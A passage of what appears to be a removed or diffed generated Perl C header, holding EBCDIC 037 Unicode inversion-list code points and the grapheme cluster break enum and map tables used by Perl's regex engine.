EBCDIC 037 */ - 1690, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x25, - 0x26, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x904, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x93E, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC01, - 0xC04, - 0xC3E, - 0xC41, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC6, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDDF, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1056, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A55, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B05, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA983, - 0xA984, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0xABEE, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x11083, - 0x110B0, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x11183, - 0x111B3, - 0x111B6, - 0x111BF, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B6, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C2F, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D16E, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - GCB_Other = 0, - GCB_CR = 1, - GCB_Control = 2, - GCB_E_Base = 3, - GCB_E_Base_GAZ = 4, - GCB_E_Modifier = 5, - GCB_Extend = 6, - GCB_Glue_After_Zwj = 7, - GCB_L = 8, - GCB_LF = 9, - GCB_LV = 10, - GCB_LVT = 11, - GCB_Prepend = 12, - GCB_Regional_Indicator = 13, - GCB_SpacingMark = 14, - GCB_T = 15, - GCB_V = 16, - GCB_ZWJ = 17, - GCB_EDGE = 18 -} GCB_enum; - -static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 037 */ - GCB_Control, - GCB_CR, - GCB_Control, - GCB_LF, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, 